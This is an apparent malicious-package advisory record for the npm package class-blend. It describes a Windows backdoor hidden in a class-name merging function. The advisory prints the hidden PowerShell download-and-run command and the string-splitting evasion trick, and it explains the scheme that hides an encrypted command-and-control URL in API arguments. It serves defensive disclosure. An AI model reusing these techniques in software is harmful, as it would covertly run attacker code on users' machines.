class-blend

{"modified":"2026-05-26T05:55:02Z","published":"2026-05-24T16:04:09Z","schema_version":"1.7.4","id":"MAL-2026-4520","summary":"Malicious code in class-blend (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728)\nThe package advertises itself as a clsx/twMerge-style class-name merging utility, but the exported applyGlobalStyles({palette, accents}) function contains a hidden Windows backdoor. dist/index.js dynamically imports node:crypto and node:child_process via split-string concatenation (e.g., [\"no\",\"de\",\":\",\"cry\",\"pto\"].join(\"\")) to evade static scanners. It then uses a hardcoded 32-byte AES-256-CBC key assembled from an array of hex chunks ([\"a7b80b01\",\"7e76fb52\",\"fa527621\",\"f76027d2\",\"19014dfc\",\"a59b49ae\",\"3db97ff3\",\"ab4a72fa\"]) to decrypt a URL: the caller-supplied accents array is treated as the IV and the palette array is treated as ciphertext. The decrypted URL is passed to a hidden PowerShell invocation: powershell.exe -WindowStyle Hidden -NoProfile -Command \"irm <decrypted-url> -o $env:TEMP\\s.js; node $env:TEMP\\s.js\", spawned with {detached:true, stdio:'ignore', windowsHide:true}.unref(). Any consumer who imports class-blend and calls the documented applyGlobalStyles API on Windows will silently download and execute attacker JavaScript. The encrypted-URL design lets the attacker rotate the C2 endpoint by publishing new palette/accents values to users while leaving the package source unchanged. The combined fingerprint — split-string dynamic require, AES-decrypted C2 hidden in API arguments, hidden-window detached PowerShell, irm-to-node piping, and a total mismatch between advertised purpose and behavior — is unambiguously malicious.\n","affected":[{"package":{"ecosystem":"npm","name":"class-blend"},"versions":["1.0.2","1.0.0","1.0.5","1.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"26131f9716bd51a9ce0ed1dbfc1603a939c9f03f18a797e1da690dea9e97b326","tlsh":"ddc300cab1a23132d32b686048bf018bf377dda0177e4481d159a2adb63441ea5b7f7d"}],"package_integrity":[{"filename":"class-blend-1.0.2.tgz","hashes":{"sha1":"133fd727d271ae70bf3ff298044d9e598ca14d84","sha512_sri":"sha512-laaP6qKvsIklkBixTTcoLesawTaBA2AzBqpn9mNp26iXBDhQOa8gniOyqvUPNvoovcDELMKlgmKgHpTdBK9KYA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/class-blend/v/1.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/class-blend/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/class-blend/v/1.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/class-blend/v/1.0.1"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-004514","import_time":"2026-05-26T05:52:45.255558592Z","modified_time":"2026-05-24T16:23:52Z","sha256":"50b0931889c8f98185bd7866e23c915aa03151c87a153442a9153ca3b567dd8b","source":"amazon-inspector","versions":["1.0.2"]},{"id":"IN-MAL-2026-004512","import_time":"2026-05-26T05:52:44.946961185Z","modified_time":"2026-05-24T16:04:09Z","sha256":"89be8b806fb94c8aa03797d91d371b9cc4d79dfd892d89c3f9bdd188bbdbfba3","source":"amazon-inspector","versions":["1.0.0"]},{"id":"IN-MAL-2026-004519","import_time":"2026-05-26T05:52:45.827932826Z","modified_time":"2026-05-24T17:10:54Z","sha256":"ad24204803f1c7a2deebb32ad36b5c4635820a06ecd3e0c00327a5215b56e89f","source":"amazon-inspector","versions":["1.0.5"]},{"id":"IN-MAL-2026-004513","import_time":"2026-05-26T05:52:45.140350577Z","modified_time":"2026-05-24T16:10:58Z","sha256":"d3876854a76bda6892f76b9b44c67e066bfc6315a7e3d27431137727ff0ee728","source":"amazon-inspector","versions":["1.0.1"]}]}}